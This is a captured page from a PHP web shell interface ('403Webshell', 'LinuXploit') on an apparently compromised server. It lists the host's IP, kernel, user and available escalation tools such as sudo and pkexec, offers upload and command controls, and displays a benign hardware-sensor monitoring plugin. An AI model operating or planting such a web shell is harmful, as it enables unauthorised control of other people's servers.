403Webshell
Server IP : 68.178.202.69  /  Your IP : 216.73.216.122
Web Server : Apache
System : Linux 69.202.178.68.host.secureserver.net 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
User : ikioworld ( 1005)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/lib/fm-agent/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/fm-agent/plugins/lm_sensors.py
import agent_util
import sys
import os
import platform
from agent_util import float


def build_sensor_dict():
    cmd = """sensors -u"""
    ret, out = agent_util.execute_command(cmd)
    lines = out.splitlines()
    current_sensor_package = ""
    current_sensor = ""
    sensors_dict = {}
    for l in lines:
        l = l.lower()
        if not l or l == "" or "adapter" in l:
            continue
        if ":" in l:
            if not l or l == "" or "crit" in l or "max" in l:
                continue
            line = l.strip().split(":")
            if not line[1]:
                current_sensor = line[0].replace(" ", "_")
            else:
                sens_type = "temperature"
                if "fan" in current_sensor:
                    sens_type = "fan_speed"

                textkey = "%s.%s.%s" % (current_sensor_package, current_sensor, line[0])
                if sens_type not in sensors_dict:
                    sensors_dict[sens_type] = {}
                sensors_dict[sens_type][textkey] = float(line[1])

        else:
            current_sensor_package = l
    return sensors_dict


class LMSensorsPlugin(agent_util.Plugin):
    textkey = "lm_sensors"
    label = "Hardware Sensors"

    @classmethod
    def get_metadata(self, config):
        status = agent_util.SUPPORTED
        msg = None

        if not agent_util.which("sensors", exc=False):
            self.log.info("lm_sensors binary not found")
            status = agent_util.UNSUPPORTED
            msg = "lm_sensors binary not found"
            return {}

        sensors = build_sensor_dict()
        self.log.debug("Found sensor data:\n%s" % sensors)
        data = {}

        if "temperature" in sensors.keys():
            temp_options = sorted(sensors["temperature"].keys())
            data["temperature"] = {
                "label": "Sensor temperature",
                "options": temp_options,
                "status": status,
                "error_message": msg,
                "unit": "Celsius",
            }

        if "fan_speed" in sensors.keys():
            fan_options = sorted(sensors["fan_speed"].keys())
            data["fan_speed"] = {
                "label": "Fan speed",
                "options": fan_options,
                "status": status,
                "error_message": msg,
                "unit": "RPM",
            }

        return data

    def check(self, textkey, option, config):
        sensors = build_sensor_dict()
        value = sensors.get(textkey, {}).get(option)
        if value == None:
            return None
        return float(value)

Youez - 2016 - github.com/yon3zu
LinuXploit